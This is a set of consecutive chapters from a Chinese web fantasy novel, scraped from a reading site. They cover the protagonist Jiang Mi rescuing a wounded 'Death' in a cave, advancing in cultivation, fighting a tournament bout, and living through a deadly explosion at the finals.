黑骨镰刀出现在这里,他大概也在附近。 山壁上有大大小小岩洞,镰刀飞进一个山洞,洞壁上镶嵌着发光的石头,山道里也有打斗痕迹,里面躺着不少尸体。 大概走了半个时辰,眼前豁然开朗。 一座十个篮球场的山洞映入眼前,因打斗山洞垮塌大半,淡绿色光芒将山洞照得透亮。 踏入的瞬间浓郁的腐烂和尘土气息袭来。 领路的镰刀闪烁着红色纹络飞到黑衣人身旁。 蒋敏站在江弥身后歪头看到这幕,盯着山洞里的黑衣人小声说:“那把镰刀要我们来这里给他收尸?” 黑衣人是死神。 他躺在自己的血水里,黑衣斗篷湿透,半个肩膀被绿色液体腐蚀得很严重,血肉几乎烧焦,露出森白骨头,身上还有好几处致命伤。 看上去快死了。 死神的对面,一座小山大的怪物被崩塌的山石掩埋,躯体被切割成几块,分散在不同地方,就江弥看到的就有四只手。 绿色液体溅得到处都是,那些淡绿色光芒就是从这些液体中飞出来的。 “嘶——” 蒋敏忽然发出抽气声,江弥看来时她竖着手指,指腹被绿光烧出一片焦黑,她欲哭无泪道:“它自己飘到我面前的,我看这东西这么漂亮,还以为不会发生什么事。” 漂亮? 江弥重新去看这些绿光,还有石壁上的绿色血液。 一点绿光缓游荡过来,江弥皱眉观察。 那点绿如暗夜的微弱光点,散发圆形的浅绿色光晕,而光晕中游离着许多灰色粒子,看着灰沉沉的,绝对称不上漂亮。 蒋敏看不到绿光中透出的灰色? 之前蒋敏的问题里也未提及空中的粒子。 只有我能看到清气和浊气? 是因为我修炼而蒋敏未修炼的缘故?还是第二体特殊导致的? “阿玲小心。”蒋敏见绿光快碰到江弥,连忙提醒。 然而下秒,江弥没有灼伤,那绿光在碰到她前陡然换了个方向,朝其他地方飘去。 “怎么回事?”蒋敏目光惊奇望向江弥。 江弥直接往里走去,蒋敏“诶”了声想跟上,但越往里绿血和光点越多,蒋敏往前走了两步,又被绿光逼回洞口附近。 垮塌的山洞和血腥气中,淡绿色光点环绕在女孩周身,她主动伸手触碰时光点一一跑开,好似和精灵嬉戏的小仙子。 蒋敏看着这奇幻的一幕,忽然生不出半点害怕来。 江弥不知蒋敏所想,她盯着这些光点若有所思。 清气和浊气互斥。 第 37. 037 《他们要我成为异世大佬》全本免费阅读 死神没醒,反而陷入更深的昏迷。 “他说梦话。”蒋敏对男人的那点畏惧减弱后弹着脑袋听了半晌,古怪地抬头望向江弥:“他说对不起,他在向我道歉吗?” 江弥伸手探对方脖颈,皮肤滚烫,她怀疑皮下血液在沸腾,这么下去必死无疑。 山洞里只有山石,她什么都没带,蒋敏更不用指望,江弥看躺在地上的男人,伸手摸他腰带。 摸尸吗? 蒋敏也跟着动手摸起来,片刻后她从衣襟翻出块糖,可惜被鲜血染湿,没法吃。 江弥找到瓶药,看不出什么成分,全给他塞进去。 “对……不起……” 蒋敏将摸到的东西放江弥身边,边揉自己的背边指着黑衣男人说:“你看他又向我道歉了,下手是粗鲁了点,但道歉也不是不可以原谅,除非他也让我凑一顿。” 她在心里补充:我爸妈都没打过我。 江弥看她两秒,蒋敏被看得有些窘,挠脸说:“好吧,我知道他不是跟我道歉的。阿玲你认识他吗?” 江弥点头。 想起她拖男人的样子,蒋敏说:“那应该也不是很好的关系。” 江弥:“出去后不要说遇到我们的事。” 蒋敏做了个保密的动作:“我懂,高人作风。” 江弥不知道她脑补了什么,指了指死神:“他比魊更危险。” 蒋敏回忆一路走来的尸体,忽然明了阿玲为什么要盖住他的脸,有些秘密不能知道,知道就会死。 她顿时口干舌燥,小声问:“那些死人,应该不是他一个人做的吧?” 江弥没说话。 蒋敏心头一凉,这是个大型杀伤武器啊,我刚才掀他兜帽了,他醒来会杀人吧?等等,刚才他是不是要杀我来着? 越想她越害怕,于是不停找江弥说话。 死神恢复意识时耳旁传来女孩自言自语的说话声,他闭目听了片刻,发现是在跟人交流,立即记起用他黑骨镰刀威胁他的那人。 还没等他多想,说话那女孩忽然语速极快道:“你先别动!我们救了你,不是你的敌人,不要轻举妄动啊!” 死神察觉肩膀伤口被处理过,暂时判定两人非敌,身体放松下来,但刚才下意识的肌肉紧绷已经让伤口再次渗血。 蒋敏见他真的没动松了口气,便将她们被镰刀绑来救人的过程添油加醋说了番,本想让对方补偿点什么,想到自己只在他身上翻出颗糖,只好就此打住:“……我的背现在还好痛。” 死神忽然开口,声音嘶哑:“见到外面死人了?” 蒋敏声讨的音量忽然变小:“见过……怎么了?” 那把黑色镰刀不知何时出现在死神手里。 他说:“都是我杀的。” 蒋敏:“!” 什么意思?他想让我也成为其中一员? “你不能恩将仇报!”蒋敏退到江弥身边寻求安全感,咬牙说:“你知道我们两个将你从那里拖……搬过来有多艰难吗?看着瘦但超级沉,我现在两个胳膊还发酸发胀呢!就算!就算你不感谢我们将你救醒,也不能忘恩负义啊!” 绿色的数字忽然从死神上空浮现。 +0。 +0。 江弥眼皮一跳,垂眸去看死神。 蒋敏又转向黑骨镰刀:“还有那把镰刀,刚才救人时老老实实,现在帮你把人救了,你就倒戈相向是吧?过河拆桥,阴险小……刀!” 绿光数字消失,死神也将镰刀收起来。 蒋敏被死神突然转变的态度搞得一愣,什么意思?不杀我了?这人怎么喜怒无常啊!怕自己又说什么将对方惹怒,她张嘴无声吐槽:“搞什么。” 江弥不动声色观察蒋敏,片刻后收回目光。 果然,蒋敏看不到数字。 她回忆第一次和死神相遇的场景。 面对她时数字也是0,随后她刚要说自己是异世者,对方就提前将她掐晕。 死神没法从异世者那里获得恐惧值。 他就是通过这点判断异世者身份的! 顾臣曾向她透露过,死神在混沌中对异世者灭口。 听到这消息时她没任何想法,那时的她连修炼大门都没踏入,还在苦恼离开启蒙院后要做什么生存,异世者混沌之类离她太远。 可如果死神能分辨出谁是异世者,不管顾臣说的话是否属实,死神都拿捏着她的致命把柄。 江弥心头杀意顿生。 手中字纹浮现,化作古字没入地底,下秒整个山洞地动山摇,石块砸向地面,地面上一棵树苗破土而出,在顷刻间发芽长大。 “破土”是强盛的生命力,是勃勃生机。 眨眼间,枝繁叶茂几乎填充山洞,枝丫和根系仿佛得到命令,带着能扎破岩层的力量齐齐朝死神飞去,一旦被扎入就会被吸走生命力,瞬间毙命。 死神经历过数不清的尸山血海,即使身负五道致命伤也能在濒死状态反杀四肢鬼魔。 察觉江弥杀意的瞬间,黑骨镰刀恢复成人大小,在根系扎破死神躯体前,镰刀先一步横亘在她脖颈前。 蒋敏还没反应过来发生什么,眨眼就看到黑衣男人不知何时站在对面,陡然出现的大树朝他举起尖锐枝丫和根系,仿佛准备收割性命。 而黑色镰刀横在阿玲脖子上,血水顺着皮肤流下。 “不是,等等,又怎么了?”蒋敏按着脑袋去看男人,“怎么一言不发就开打?有没有人跟我说说发生什么事了吗?” 还有,这人能自己站起来真的不是医学奇迹吗? “哥,大哥,我们救了你诶!你确定要拿刀对着恩人的脖子吗?如果不是阿玲,我也不会和她一起救你啊!” 死神靠在石壁上未语,黑色帽檐的方向对着江弥。 蒋敏只能转向江弥,满脸都是纠结不解:“要救人的是阿玲你,现在杀人的也是阿玲你,我知道错的肯定不是阿玲,但是阿玲,咱们能统一下行动吗?我跟不上你。” 阿玲也没理她,只冷漠看向黑衣男人。 蒋敏叹气:“大家有问题不能坐下来好好沟通吗?” 死神当然能看出江弥是真的要杀他,但他也知道对方刚救过他,他问:“为何?” 蒋敏去看江弥:“对呀,为什么啊?” 江弥手指比划:“我有救你的原因,也有杀你的必要。” 蒋敏试图作和事佬:“这两个不能抵消吗?” “你杀不了我。”死神收回黑骨镰刀。 大树因能量不足消失,只留下满地大小坑和碎石。 现在的她确实杀不了死神。 反倒是死神杀她易如反掌。 但死神没准备杀她们。 他方才的动作导致肩膀血流不止,身体其他致命伤也齐齐发作,呕出的血里带着内脏碎块,一副怎么都活不过明天的样子。 但他咳完血还好好站着,不知从哪里取出两支木盒扔过来:“两清。” 一方形一长条两木盒落到脚边,即便没打开也能感受从木盒传来的能量波动。 江弥写道:“怀璧其罪。” 盯着木盒好奇的蒋敏立马反应过来,也点头:“对,我们现在连你都打不过,带着这东西出去立马会被打劫,打劫是小事,还会丢了小命。” 死神隔着黑 38. 038 《他们要我成为异世大佬》全本免费阅读 被这消息炸得猝不及防的还有一院教习们。 姜教习探查完江弥情况后收手:“是进阶的先兆。” 方教习摸着脑袋走来走去:“什么时候不行偏要选在这个时候,你这不成心的?” 梁教习则要冷静得多,她问江弥:“能压制多久?” 江弥还没说,方教习拿手点她,十分赞同道:“对对,先压制,少说也得给我把决赛打完。” “到不了那时候,”姜教习说,“她的身体在不断吸纳气,速度很快,不尽快引导炼化,可能会爆体而亡。” 方教习抽了口气:“这么严重?” 其他压制进阶的学员也不是没有,参加这种比赛的,每个院都有几个会这么做,只要抑制炼化气的速度就能减缓进阶过程。 严重到爆体而亡的,在修士全体不到三阶的启蒙院,极其少见。 可直接进阶就相当于放弃后续比赛了。 方教习知道江弥的实力能进决赛,半年的特训就是为了这个时刻,就这么放弃,不甘心啊。 孙柏柔和周三听到江弥会爆体而亡,瞬间不好了。 孙柏柔小声说:“明年的友谊赛再参加也可以的。” 周三也道:“往年一院进决赛的最多不过两人,那什么铭不是进入决赛了?” 方教习怒道:“那我特么给你们搞个屁的特训!” 两人缩着脖子没敢再说话。 教习等人争吵议论之时,江弥正沉浸在识界中。 吞掉妖魔之心时,巨大的能量涌入第二体,冲刷着经脉血肉,她能感受到自己的筋骨在摧毁中变得更强。 可妖魔之心的力量太过狂暴,能量冲刷一次比一次蛮横,第二体还未正式修炼,这种力量冲击远超现阶段的她能承受的范围。 当摧毁大过恢复,身体将走向崩毁。 与此同时,她的识界也在震荡不已。 大量的金色粒子涌向左边识界,第二体正在被毁坏,粒子失控,引起的小型风暴在识界肆虐,粒子越聚越多,风暴变大,龙卷风般要将这片空间撕碎。 虚空地面维持不住,正在垮塌。 有一瞬江弥怀疑死神要借用这种方式除掉她。 就在她以为第二体即将迎来毁灭时,识界中总是平静无波的河面忽然荡起涟漪。 河下暗流翻涌,河水面上涨,如同潮汐朝左边识界漫去,一寸寸淹没地面。 神奇的是,动荡正在被一点点抚平,狂乱的粒子触及水面的瞬间就被吸收,风暴逐渐变小。 左边识界平稳下来,粒子开始有序地聚拢,无形力量将其堆砌成一座淡金色的台阶虚影。 金色虚影在一步步凝实。 第二体情况好转,江弥刚松口气,却见右边识界忽的被漫天光点笼罩,犹如烟雨后阳光乍泄,光雾弥漫。 被河水吸收的金色粒子变成光点出现在右边了! 在这样的浓郁的气中,仙梯正在逐步凝实。 要进阶了。 · 几位教习商议对策时,江弥的号码忽然被叫到。 梁教习问江弥:“这场比赛能打吗?” 江弥沉吟片刻,道:“可以。” 此时已是黄昏,大部分比完三场的学员离开,比试场清净许多。 朱铭为了帮江弥主动同唐蜜搭话,唐蜜本来输比赛心情不爽,但朱铭性格讨喜,他又对江弥格外了解,几句后两人便聊上了,下午还约着一起看比赛交流意见。 听到江弥号码时,两人不约而同朝二号比试台走去。 看到江弥对手,朱铭皱了下眉,他脾气向来很好,人缘也不错,极少有皱眉冷脸的时候。 “二院的张专,用了五年还没突破一阶,听说明年就要离开启蒙院,”唐蜜幸灾乐祸道,“他以手段毒辣闻名,连续五年的友谊赛中,被他打败的人不是断手就是断脚,江弥要倒霉了。” 朱铭往前两步靠近比试台,冲台上道:“江弥不要留手,钱川就是被他打废的。” 江弥站在台上未语,也没瞥来一眼。 唐蜜抱着胳膊过来:“她不理你啊,你确定你们俩关系不错?” 朱铭:“这你就不懂了,她这是外冷内热。” 唐蜜翻了个白眼:“瞧你把她吹成花,我还以为和我比试的不是同个人。” 朱铭笑哈哈道:“那你不还是输给她了?” “我那是意外!”唐蜜提起这个就气,“她用邪门歪道的手段赢了后,后面的人争相模仿,现在能进决赛的落选,实力平平的反倒冲进决赛!我都听到教习说明年要改比赛规则,就因为她!” 周三就在附近,过来时刚巧听到唐蜜这番话。 孙柏柔紧随其后,她不认识唐蜜,但说江弥坏话就是不行,便微微笑着说:“失败者永远都会给自己的失败找借口。” 唐蜜瞥见周三两人,知道这是跟江弥一伙的,抱着胳膊站得笔直:“怎么,我说得不对?江弥她破坏规则还不让人说了?” 孙柏柔外表看着柔弱无害,说话语调也温和,可说出的话却不是这么回事:“裁判没有判定违规,教习没有上诉作弊,你张口邪门歪道闭口破坏规则,你比裁判权威还是比教习厉害?既然你这么强,参加什么友谊赛,直接去大术院进天诛院呀!” 唐蜜:“你——” “嗐嗐,咱们是来看比赛的。”朱铭一个箭步冲到两人中间,周三也对孙柏柔说:“要开始了。” 孙柏柔怒:“你不帮我就算了,还不帮江弥?” 周三指台上:“咱们用事实说话。” 比试台上站着一大一小两个身影。 张专今年十七,他修行资质不高,悟性也一般,从很早开始他就知道,无论自己如何修炼都敌不过那些有天赋的。 直到有天他看到友谊赛赛规,也看到自己的机会。 于是他另辟蹊径,放弃进阶,在一阶以下这个赛道上横行。 他嫉妒每一个天赋比他高的孩子。 嫉妒他们能不费吹灰之力就连连进阶,他却努力数年也难以达到。 嫉妒他们能让教习另眼相看,他却无人问津。 所以那些小孩落到他手上,都会被他掰断手脚,每次看到他们狼狈哭喊,他都在想,看啊,这就是所谓的天资聪颖,也不过如此。 张专望向还没他手臂高的女孩,双拳紧握,手背青筋鼓起:“所以你也和他们一样,被我掰断吧。” 话落,犹如小山般的身躯跑来,整个比试台因他的跑动而震颤,脚步踏过的地方留下深深的脚印。 也在同时,他凝气朝江弥轰出一拳。 拳风犹如咆哮嘶吼的虎狮,几乎占据半个比试台,气势雄浑,重压随拳风而落。 砸中的瞬间,张专脸上咧着笑,期待血花飞溅的画面,然而拳风激荡的热风吹散木屑灰尘后,露出被砸出窟窿的比试台。 却空无一人。 “怎么可能?” 他明明感觉到自己击中对方。 张专忽然惊觉,凝气朝身后打出一拳。 他个头高壮,动作却很灵活,拳头再次落到实处,便是一阶也不一定能接他这拳,更何况不到一阶的小孩。 他自信这拳下去对方绝对倒地,可还不等他高兴,忽听“咔嚓咔嚓”连续碎裂声,被他打中的石头裂开落地。 “石头?” 一种失控的情绪漫上心头。 张专神情越发凶狠,铜铃般的眼睛扫视比试台,却没见到江弥身影,声音洪亮怒道:“少给老子装神弄鬼!” “江弥还会土术?” 台下朱铭看到这幕疑惑出声,然而下秒他满脸错愕。 就见台上一座小山忽的拔地而起,山迅速变高变大,直接将比试台压垮,不过眨眼间,台下也变成山的一部分,四周不再是比赛现场,而是一座巍峨山巅,山顶之上云雾缭绕。 忽然置身在山间的唐蜜怔愣好半晌,连忙去看朱铭,他也满脸愕然。 围观学员也都神情惊异,呆滞地停在原地,还没反应过来发生何事。 唐蜜扭头去看比试台,试图找出江弥所在。 忽然,林间鸟雀受惊,振翅而飞, “出来!给我出来!”张专找不到江弥,心中焦躁,疯狂朝四周树林出拳,每拳落下就有一棵大树倒下:“是这里?还是这儿?” 众人看到发了疯般轰击大树的张专,终于意识到这是另一个选手的术,纷纷展目四望寻找江弥,还有人满脸惊奇地往山上走。 有人出声提醒:“这八成是幻术,别乱跑,小心跑到比试台上被裁判轰下来。” “这两块石头纹理完全不同,还有这草……”有人就地蹲下来观察,“这幻术也太逼真了。” “卧槽,石头缝里还有甲虫!有必要这么认真吗?” 众人寻找的江弥并未移动。 识界里古字被捞出河水,黑色字牌正在疯狂吸收光点,可吸收速度比不上释放速度,光点仍旧越来越多。 身体无法承受骤增的力量,经脉正在逐步破裂,血水随汗水流出,衣服被染成血色,看上去很是恐怖。 江弥只能借术释放陡然暴增的能量。 随着能量的持续外放,高山笼罩的范围进一步扩大。 江弥在等待。 雄伟高山下,观赛者满脸惊奇地在山中乱跑。 张专完全不知道这是什么招数,心中越发暴戾,他心知这种情况不能乱动,指不定就自己走下比试台,只能不断出拳发泄心中嫉恨。 蓦地,一拳落空后传来不同的波动。 张专朝那个方向望去,脸上展开狰狞的笑:“找到你了。” 越发猛烈的拳风攻击扫来,他完全不留后手地出拳,江弥被迫显形,张专看到她满身血水的惨状后大笑。 “去死吧!” 张专扬起的手紧握,整条胳膊的青筋暴突,蓄力完成时磅礴的气集中在他拳头上,朝江弥打出去。 这拳远胜之前所有威力,张专打完直接瘫坐在地上,但他脸上带着胜利的笑。 他有信心,他的对手中 39. 039 《他们要我成为异世大佬》全本免费阅读 朱铭一时摸不着头脑:“江弥怎么了?” 为什么不是负责医修的姜教习,而是方教习来了。 还有,他们怎么围在江弥身边不准备下来。 江弥出事了? 唐蜜突然惊愕出声:“该不会……” 朱铭看她:“什么?” 唐蜜扭头去看江弥,心里有些荒唐。 不会吧。 比赛还没结束,这么做不就等于弃权? 既然都要弃权了,刚才打得那么轰轰烈烈做什么? 有病啊。 半刻钟后众人争论平息,见比试台上几人没动,有些回过味来怎么回事,当即哗然。 同样反应过来的二院教习跑来破口大骂:“你们是不是有病!都决定不参加决赛了还比什么,白白搞掉我们二院的决赛名额,什么仇什么怨要你们这么搞?你们一院简直是不安好心!道德败坏!” 此时所有比赛都已结束,除了二号比试台停留的数十人,其余零散的学员见这边闹出动静,纷纷来看。 姜教习还在休息棚处理学员伤势,过不来。 二院教习骂完不算,还要上台找麻烦,赶来的梁教习先一步拦在他面前,面无表情道:“比赛结束了,有问题向上申诉。” 二院教习本就因之前邢歌和许年动手的事心存愤懑,刚才抬下去的张专还被江弥废了,不管张专在家里如何惹事,出来了就是二院的人,被人在脸上这么响亮地打了巴掌,怎么可能忍? 他讽刺道:“你们一院窝藏异世者的事还没了,再申诉,我怕你们一院没了。” 说话间,二院教习直接拔剑砍去,梁教习张术防御,两位教习大庭广众之下交起手。 很快有人看出不对,二院教习的攻击看似针对梁教习,却明里暗里波及到比试台。 这是想废掉江弥啊! “靠!真不要脸,还说我们卑鄙!”朱铭乘风上台,协助孙柏柔几人为江弥护法。 处于中心的江弥压根分不出心思关注外界发生什么。 不同的人经脉走向有微妙的不同,本体和第二体虽然都是她,但两具身体各有特点。 一起进阶意味着她要同时关注两者的每个细微变化,并梳理力量脉络,还不能出错。 简直是难上加难。 蒋敏在系统的帮助下消化掉花的力量后睁眼,看到江弥时差点吓一跳。 除了脖子上死神弄出来的血痕,她脸上身上都是血水,比从血湖中爬出来还恐怖,乍一看有些吓人。 但细看她神色平静,蒋敏什么也不懂,不敢过多干涉,只得扭头去看死神,这个也没好到哪里去。 死神还是保持着垂头坐在洞口的姿势,不知是闭目养神还是没醒过来,他身上的伤倒是没恶化,但也足够惨不忍睹的。 蒋敏发了会儿呆,开始摸索自己的系统。 不知过去多久,识界两边的灵台同时凝实。 进阶后江弥的第一感受不是修为的增加,而是灵魂上的松弛。 同时控制两具身体让她的灵魂一直处于疲惫和紧张,现在这种感觉却消失,好似绷了许久的弹簧恢复最初的弹性,江弥感受到前所未有的轻松。 她刚一动,坐在洞口的死神微微抬头。 蒋敏立即从系统中抽离,朝江弥道:“你没事吧?” 江弥“嗯”了声,抬手抹掉脸上的血水。 “你你你!”蒋敏大惊:“阿玲你能说话!” 江弥一怔,随即点头。 她尝试过很多次也无法让第二体开口,没想到进阶后直接就能说话。 此前,她花了很多时间让自己适应第二体的笨拙和滞涩,就像操控生锈的机器,现在却完全没这种感受。 她对第二体的控制更加自如了。 她有种感觉,第二体不需要再回识界休息。 蒋敏目不转睛的注视让江弥不解,她摸着脸问:“还有血?” 蒋敏捧着脸看她,摇头说:“阿玲好像更耀眼了,我不是说之前不耀眼,就是,你吃了那个东西后,变得更好看了。” 江弥现在的形象绝对称不上好看,先是落入血湖,又在尸山中行走,和山洞里的魊打斗尘土飞场的,现在还满身血糊糊。 蒋敏说得好看是一种感觉,应该是第二体金色能量的原因。 她在识界初次见到第二体时,也觉得好看来着。 虽然是她自己的样子。 “风骨花生长在附近山谷,妖魔之心来自之前山洞的四肢鬼魔。”死神没来由说完起身,解除阵法后道:“这里的经历不准向任何人提及。” 蒋敏点头,阿玲也说过同样的话。 走出两步的死神忽的顿了下,又道:“也不准写。” 蒋敏心想这是什么奇怪要求,但还是老实应答。 死神走后,两人又七拐八拐地在其他山洞待到天亮,确定身后没其他人才顺着快要熄灭的石灯走出来。 她们爬过山谷,在清澈溪水旁将满身尘土血气洗去,朝着来的方向走。 看到远方翩跹的灵蝶时,江弥道:“就在这里分开吧。” 蒋敏一路上没敢吭声,就是怕两人分开,江弥一开口她就红着眼睛不知道怎么办。 现实生活里她只是个叛逆的高四生,不喜欢学习,爸妈也不关心,突然穿越,不是被追杀就是经历尸山血海,没吓崩溃有一半是她心理素质好,另一半是因为阿玲。 所以她很努力地乖巧,希望阿玲能带上她。 蒋敏还是想争取一下:“我能不能,和你一起?” 江弥:“你太弱。” 蒋敏睁大眼睛,看上去有些凶:“我会变强的!” 相处的半天时间里,江弥对蒋敏印象不坏,但她连自己的安危都保障不了,更不可能带上蒋敏。 江弥微微仰头说:“那我等你。” 蒋敏吸了下鼻子,这不还是要赶我走吗? 江弥指着灵蝶飞走的方向说:“往那里走,看到有人就跟上去,他们会将你送到安全地方。任何时候都不要轻信人,多看多听少言,祝你好运。” 她说这话时神情慎重,虽面庞稚嫩,却很令人信服。 蒋敏忍不住在心中吐槽,你的后半句让我丝毫感受不出要去的地方是安全的。 < 40. 040 《他们要我成为异世大佬》全本免费阅读 江弥进阶成功后,姜教习给她诊断完让她休息,于是今天的决赛她不仅参加不了,还看不了。 从第二体上收回思绪,江弥陷入沉思。 项昭昭和藤宝最后的对话不太对。 藤宝打赢了三场比赛,从小混沌出来后却没有参加决赛,而是待在舍院。 还有项昭昭说的那句“别去人多的地方”。 人多的地方,是决赛现场。 守望军要对比赛做什么? 江弥忽然想起这两人是怎么达成的合作。 滕宝要守望军为异世者报仇,以此来表明守望军和异世者共同立场。 而守望军则要滕宝加入他们,做他们的卧底。 那么守望军要在比赛现场做的,是为异世者报仇吗? 他们提过陆怀的名字! 邢歌有危险! 滕宝直接不参加决赛,要么是他知道决赛举办不下去,要么是他认为参加比赛很危险,不值得冒险。 邢歌和他不在同一个片区,在这种情况下滕宝还觉得危险,那危险的就不只是邢歌,而是所有参赛者。 意识到这点,江弥立马披上外衣朝外跑去。 崔大这会儿应该正待在舍院养伤,孙柏柔进入决赛,周三肯定会在台下观看。 项昭昭才离开一会儿,还有时间。 为了明年的友谊赛,大部分学员都会选择台下观战,有观察未来潜在对手作战风格的,有学习其他院修士术法的,也有来看热闹的。 三个片区的决赛规则相同,进入决赛的二十九名学员相互发起挑战,最终以积分排名作为比赛成绩。 混合赛变成挑战赛,赛方将原先的五个比试台整合场一个大比试台。 江弥进入二片区时,比试台下里三层外三层全是人。 比试台正前方,三名裁判和二十七名学员分坐两排。 江弥看到孙柏柔坐在其中,她正在认真观看台上的比试,江弥环视附近,果然看到不远处的周三。 周三看到江弥走来时还有些愕然,随即笑着说:“不怕孙柏柔训你?” 江弥没理会他的玩笑,拉着他就往外面走。 周三这下不仅是愕然了,他低头瞧江弥神色,站定后问她:“发生什么事?” 江弥皱眉两秒,果断道:“崔大病情忽然加重,一直吐血,我找不到姜教习。” 周三抬了抬手,江弥的手也跟着举起:“找不到姜教习,拉我有什么用?” 嘴里这么说着,还是大步往外走。 江弥再次拉住他:“叫上孙柏柔。” 周三:“她有比赛,我们先去看看。” 江弥不知道项昭昭会在何时出手,拉着他脚步不停地往孙柏柔那边去:“崔大比比赛重要。” 周三从她语气中听出一丝焦急,抽出手按在她脑袋上,低头看她,神色也认真起来:“很严重?” 江弥点头。 周三不再多说,直接用上乘风术到孙柏柔身旁,几句话后孙柏柔急急忙忙起身,同他们一边往院舍赶一边询问崔大情况。 江弥说得含糊也没引起两人怀疑。 “等等!”周三忽然开口。 孙柏柔焦急道:“等什么,再等崔大没了。” 周三呵笑了声:“他最好是给我没了。” 江弥顺着周三目光望去,心头一跳。 围观人群最外层,一颗锃亮醒目的光头正踮着脚努力够着脑袋看前方。 三个片区成等边分布,从二片区离开会同时经过一片区和三片区。 此时的崔大就在三片区看比赛。 他不仅看比赛,还因伸手扒前排脑袋被骂死光头,正要跟人打起来。 周三冷笑两声:“能耐啊。” 不仅知道用自己的伤势把江弥骗走,还知道避开有江弥熟人的一片区和孙柏柔所在的二片区,来到没什么熟人的三片区看热闹。 周三直接朝三片区走去。 孙柏柔也看到崔大,顿时头疼不已:“他都受了那么重的伤,就不能安分点吗?” 江弥深深吸了口气,也走过去。 “操!死光头,你没头发就薅老子的,诚心的是不是?也不打打听听老子是谁,找死吧你?” 崔大瞧见周三孙柏柔时一阵心虚,但身后张口死光头闭口没头发的声音让他勃然大怒,立即脸不红心不跳,伸手朝走来的周三就是一捞,勾肩搭背咧嘴笑,目光点了点紧随而来的江弥和孙柏柔,冲骂他那人道:“想干架?来啊,正好我朋友来,我们切磋两把啊!” 那少年也是个火爆脾气,还要再说,周三突然出手,反手勒住崔大脖颈:“你吐血还能跟人打架?” 少年满脸怒气被这莫名其妙的发展搞得一愣。 孙柏柔也气愤得不行,抬手用力拍在崔大脑袋上,十分响亮的一声,听得人皮肉疼,她怒道:“崔栉你想死早说,我不介意送你一程!” “有病吧你们。”少年被这行人搞得彻底无语,也没了打架心思,转身继续去看自己的比赛。 崔大被周三制住,又挨了孙柏柔一巴掌,简直有苦没处说:“我只是来看场比赛,不至于吧?” 周三讽刺道:“你都要死了看什么比赛?” “我什么时候……”崔大还没说完,江弥上前拍他后背,“你身体不好,不要嘴硬和三儿闹脾气。” 崔大:“也没你们说的那么糟糕。” “没那么糟糕江弥会来找我们?”孙柏柔对崔大这个不听话的病人已经彻底没了信任。 崔大倒是没有怀疑江弥,只以为江弥看到自己偷看比赛,故意叫两人将他拖回去养病,便道:“多大点事儿,还要你们咳……咳咳咳!” 崔大忽然不受控制地剧烈咳嗽,周三以为他假装,胳膊挟持他脑袋不松手:“还装?” 孙柏柔也以为崔大故意装可怜,下秒看到崔大咳出血水,立马意识不对,周三也连忙松开他。 江弥收回覆在崔大背后的手,在孙柏柔准备就地看诊时道:“比赛容易误伤,先离开这里。” 提议没有人反对。 周三背着咳嗽不已的崔大往外走,孙柏柔和江弥随后,快要离开三片区时,新的比赛开始了。 孙柏柔忽然叹气:“不能看邢学姐比赛,可惜了。” 江弥凝滞一秒:“邢学姐?” 孙柏柔回头望向比试台:“看,邢学姐上台了。” 江弥心跳忽然极快,如擂鼓敲击耳膜,她告诫自己要向前走,脚步却停在原地。 孙柏柔奇怪看她:“江弥?” 江弥:“你们先走,我还有点事——” “砰!” “砰!” “砰!” 爆炸接连响了三声,地面剧烈颤抖。 能量波动朝四周散开,几道细长的缝隙自脚下裂开。 江弥被爆炸余波掀翻在地,耳边嗡鸣,听不见任何声音,她按住眩晕的大脑看去,身后的片区被浓厚的烟雾笼罩,里面的人看上去凶多吉少。 眩晕让她只是站立也感觉在摇晃,她运气调整体内平衡,很快能不受影响地走路。 孙柏柔倒在她身边不远处,正在尝试站起来。 江弥过去扶起孙柏柔,视线被浓浓的尘土挡住,她没看到周三和崔大。 寂静懵的被打破,各种声音撕破嗡鸣灌入耳朵,尖叫声,痛哭声,教习慌乱叫人,茫然无措的询问。 以及 41. 第 41 章 《他们要我成为异世大佬》全本免费阅读 调查告一段落后,多方商定,决赛取消。 此次折损几乎三分之一的学员,还有三分之一重伤未愈,需花时间调养,仅剩的学员修为参差不齐,举办决赛的意义不大。 多院教习也担忧守望军杀个回马枪,天诛院到现在都没弄清爆炸是如何发生的,若再来一次,幸存者恐怕连三分之一都没有。 各心宿院纷纷启程回去。 来时的灵舟气氛有多高涨,回去时就有多低迷。 空了大半的灵舟上几乎没人说话。 江弥没有看到邢歌。 孙柏柔忽然低声说:“她离开了。” 伤患的处理持续了三天,孙柏柔在这三天里帮忙调药换药,最能直观体会这次事件带来的恶劣影响。 她说:“邢学姐当时正在比试,爆炸发生在她脚下,可能提前感知到挡了下,没死,但一条胳膊没了,她使剑的那只。” “谭鑫和寒鹃记得吗?邢学姐的朋友,死于爆炸。他们也进了决赛,本该坐在参赛选手那排的,那里离比试台没那么近,前面还有裁判,就算变故发生也不致死。但当时邢学姐正上台,他们离席好像是要提醒她注意对手。” 孙柏柔没说的是,邢歌醒来得知真相后就不言不语,任谁和她说话也没用。 她眼里存了死志。 孙柏柔担忧她做傻事,换药或者拿药时都会绕道来看看她,但她还是不见了。 当时等着治疗的人很多,教习们也忙得焦头烂额,孙柏柔上报后也只是四处找了下,没找到就放弃了。 “我还看到许年,让崔大受伤的那个,在此之前我很讨厌他,但看到他的尸体,好像有一点理解那时候他的愤怒,”孙柏柔抱膝歪头靠江弥肩头,声音小小的,带着无力感,“还有和我一起参加特训的严芳,我帮她续断骨包伤口时没哭,可听到教习说不能修炼,她哭得很大声。” 江弥静静听她诉说着。 “修医好难啊,摧毁一个人那么容易,可要修复筋骨皮肉,治愈精神心灵,却又那么难。”孙柏柔说:“看到他们那么痛苦,我觉得我什么也做不了。” 江弥问她:“你当初为什么会选择修医?” 孙柏柔想了想说:“最开始是因为崔大他们老跟齐乐打架,我在一旁帮不上忙,只能事后包下伤口,后来就想大家受伤时我能帮忙。” 江弥嗯了声:“那你做得很好。” 孙柏柔一怔,抬头望向江弥,又扭头去看身旁两人,不知昨夜做什么去了,他们这会儿正在打瞌睡。 崔大歪头靠在周三身上,乱动滑到他怀里,自觉找了个舒服的姿势仰躺着。靠坐在灵舟上的周三就不怎么舒服了,被崔大压得梦里也在皱眉。 孙柏柔忽的笑了,抱着江弥的胳膊说:“是我想多了。” 大部分人又恢复从前上课练术的生活。 启蒙院大比在星宿院友谊赛的后一个月举行。 因这件事,二十三所心宿院的院长争执扯皮了大半个月,最终还是统一决定退出今年的启蒙院大比。 退出了今年的启蒙院大比,下一届比赛在三年后,那时的崔大和李二十八,周三孙柏柔十七,要么离开启蒙院,要么进去小术院,参加的可能性更小了。 